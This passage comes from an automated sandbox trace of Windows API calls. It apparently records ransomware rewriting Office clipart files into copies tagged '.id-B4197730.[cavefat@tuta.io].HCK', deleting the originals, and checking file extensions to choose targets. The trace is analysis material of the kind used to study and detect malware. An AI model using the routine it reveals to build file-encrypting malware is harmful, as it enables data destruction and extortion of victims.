| out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.652] SetEndOfFile (hFile=0x564) returned 1 [0237.652] CloseHandle (hObject=0x564) returned 1 [0237.653] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.653] SetEndOfFile (hFile=0x454) returned 1 [0237.655] CloseHandle (hObject=0x454) returned 1 [0237.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 1 [0237.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.656] lstrlenW (lpString=".doc") returned 4 [0237.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.656] lstrlenW (lpString=".docx") returned 5 [0237.656] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0237.656] lstrlenW (lpString=".pdf") returned 4 [0237.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.656] lstrlenW (lpString=".xls") returned 4 [0237.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.656] lstrlenW (lpString=".xlsx") returned 5 [0237.656] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0237.656] lstrlenW (lpString=".ppt") returned 4 [0237.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.657] lstrlenW (lpString=".zip") returned 4 [0237.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.657] lstrlenW (lpString=".rar") returned 4 [0237.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.657] lstrlenW (lpString=".bz2") returned 4 [0237.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.657] lstrlenW (lpString=".7z") returned 3 [0237.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.657] lstrlenW (lpString=".dbf") returned 4 [0237.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.657] lstrlenW (lpString=".1cd") returned 4 [0237.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.657] lstrlenW (lpString=".jpg") returned 4 [0237.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.657] lstrlenW (lpString=".doc") returned 4 [0237.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.657] lstrlenW (lpString=".docx") returned 5 [0237.657] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0237.657] lstrlenW (lpString=".pdf") returned 4 [0237.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.657] lstrlenW (lpString=".xls") returned 4 [0237.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.657] lstrlenW (lpString=".xlsx") returned 5 [0237.657] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0237.657] lstrlenW (lpString=".ppt") returned 4 [0237.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.657] lstrlenW (lpString=".zip") returned 4 [0237.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.657] lstrlenW (lpString=".rar") returned 4 [0237.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.657] lstrlenW (lpString=".bz2") returned 4 [0237.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.657] lstrlenW (lpString=".7z") returned 3 [0237.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.657] lstrlenW (lpString=".dbf") returned 4 [0237.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.658] lstrlenW (lpString=".1cd") returned 4 [0237.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0237.658] lstrlenW (lpString=".jpg") returned 4 [0237.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.658] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.658] lstrlenW (lpString="J0152708.WMF") returned 12 [0237.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.658] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=4908) returned 1 [0237.659] CloseHandle (hObject=0x454) returned 1 [0237.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 0x220 [0237.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.659] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.660] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.660] GetLastError () returned 0x0 [0237.660] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x132c, lpOverlapped=0x0) returned 1 [0237.662] WriteFile (in: hFile=0x564, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1330, lpOverlapped=0x0) returned 1 [0237.662] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.663] WriteFile (in: hFile=0x564, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.663] SetEndOfFile (hFile=0x564) returned 1 [0237.663] CloseHandle (hObject=0x564) returned 1 [0237.663] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.663] SetEndOfFile (hFile=0x454) returned 1 [0237.665] CloseHandle (hObject=0x454) returned 1 [0237.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 1 [0237.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.666] lstrlenW (lpString=".doc") returned 4 [0237.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.666] lstrlenW (lpString=".docx") returned 5 [0237.666] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.666] lstrlenW (lpString=".pdf") returned 4 [0237.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.666] lstrlenW (lpString=".xls") returned 4 [0237.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.666] lstrlenW (lpString=".xlsx") returned 5 [0237.666] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.666] lstrlenW (lpString=".ppt") returned 4 [0237.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.666] lstrlenW (lpString=".zip") returned 4 [0237.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.666] lstrlenW (lpString=".rar") returned 4 [0237.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.666] lstrlenW (lpString=".bz2") returned 4 [0237.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.666] lstrlenW (lpString=".7z") returned 3 [0237.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.666] lstrlenW (lpString=".dbf") returned 4 [0237.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.667] lstrlenW (lpString=".1cd") returned 4 [0237.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.667] lstrlenW (lpString=".jpg") returned 4 [0237.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.667] lstrlenW (lpString=".doc") returned 4 [0237.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.667] lstrlenW (lpString=".docx") returned 5 [0237.667] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.667] lstrlenW (lpString=".pdf") returned 4 [0237.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.667] lstrlenW (lpString=".xls") returned 4 [0237.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.667] lstrlenW (lpString=".xlsx") returned 5 [0237.667] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.667] lstrlenW (lpString=".ppt") returned 4 [0237.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.667] lstrlenW (lpString=".zip") returned 4 [0237.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.667] lstrlenW (lpString=".rar") returned 4 [0237.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.667] lstrlenW (lpString=".bz2") returned 4 [0237.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.667] lstrlenW (lpString=".7z") returned 3 [0237.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.667] lstrlenW (lpString=".dbf") returned 4 [0237.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.667] lstrlenW (lpString=".1cd") returned 4 [0237.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0237.667] lstrlenW (lpString=".jpg") returned 4 [0237.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.667] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.668] lstrlenW (lpString="J0152716.WMF") returned 12 [0237.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.669] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=4580) returned 1 [0237.669] CloseHandle (hObject=0x454) returned 1 [0237.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 0x220 [0237.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.669] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.670] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.671] GetLastError () returned 0x0 [0237.671] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x11e4, lpOverlapped=0x0) returned 1 [0237.672] WriteFile (in: hFile=0x564, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x11f0, lpOverlapped=0x0) returned 1 [0237.673] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.673] WriteFile (in: hFile=0x564, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.673] SetEndOfFile (hFile=0x564) returned 1 [0237.673] CloseHandle (hObject=0x564) returned 1 [0237.673] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.673] SetEndOfFile (hFile=0x454) returned 1 [0237.675] CloseHandle (hObject=0x454) returned 1 [0237.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0237.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.676] lstrlenW (lpString=".doc") returned 4 [0237.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString=".docx") returned 5 [0237.677] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.677] lstrlenW (lpString=".pdf") returned 4 [0237.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString=".xls") returned 4 [0237.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.677] lstrlenW (lpString=".xlsx") returned 5 [0237.677] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.677] lstrlenW (lpString=".ppt") returned 4 [0237.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.677] lstrlenW (lpString=".zip") returned 4 [0237.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.677] lstrlenW (lpString=".rar") returned 4 [0237.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString=".bz2") returned 4 [0237.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString=".7z") returned 3 [0237.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.677] lstrlenW (lpString=".dbf") returned 4 [0237.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.677] lstrlenW (lpString=".1cd") returned 4 [0237.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.677] lstrlenW (lpString=".jpg") returned 4 [0237.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.677] lstrlenW (lpString=".doc") returned 4 [0237.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString=".docx") returned 5 [0237.677] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.677] lstrlenW (lpString=".pdf") returned 4 [0237.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString=".xls") returned 4 [0237.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.677] lstrlenW (lpString=".xlsx") returned 5 [0237.677] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.677] lstrlenW (lpString=".ppt") returned 4 [0237.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.677] lstrlenW (lpString=".zip") returned 4 [0237.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.678] lstrlenW (lpString=".rar") returned 4 [0237.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.678] lstrlenW (lpString=".bz2") returned 4 [0237.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.678] lstrlenW (lpString=".7z") returned 3 [0237.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.678] lstrlenW (lpString=".dbf") returned 4 [0237.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.678] lstrlenW (lpString=".1cd") returned 4 [0237.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0237.678] lstrlenW (lpString=".jpg") returned 4 [0237.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.678] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.678] lstrlenW (lpString="J0152722.WMF") returned 12 [0237.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.679] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=7020) returned 1 [0237.679] CloseHandle (hObject=0x454) returned 1 [0237.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 0x220 [0237.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.680] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.680] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.681] GetLastError () returned 0x0 [0237.681] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1b6c, lpOverlapped=0x0) returned 1 [0237.861] WriteFile (in: hFile=0x564, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1b70, lpOverlapped=0x0) returned 1 [0237.862] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.862] WriteFile (in: hFile=0x564, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.862] SetEndOfFile (hFile=0x564) returned 1 [0237.862] CloseHandle (hObject=0x564) returned 1 [0237.862] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.862] SetEndOfFile (hFile=0x454) returned 1 [0237.864] CloseHandle (hObject=0x454) returned 1 [0237.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.016] DeleteFileW 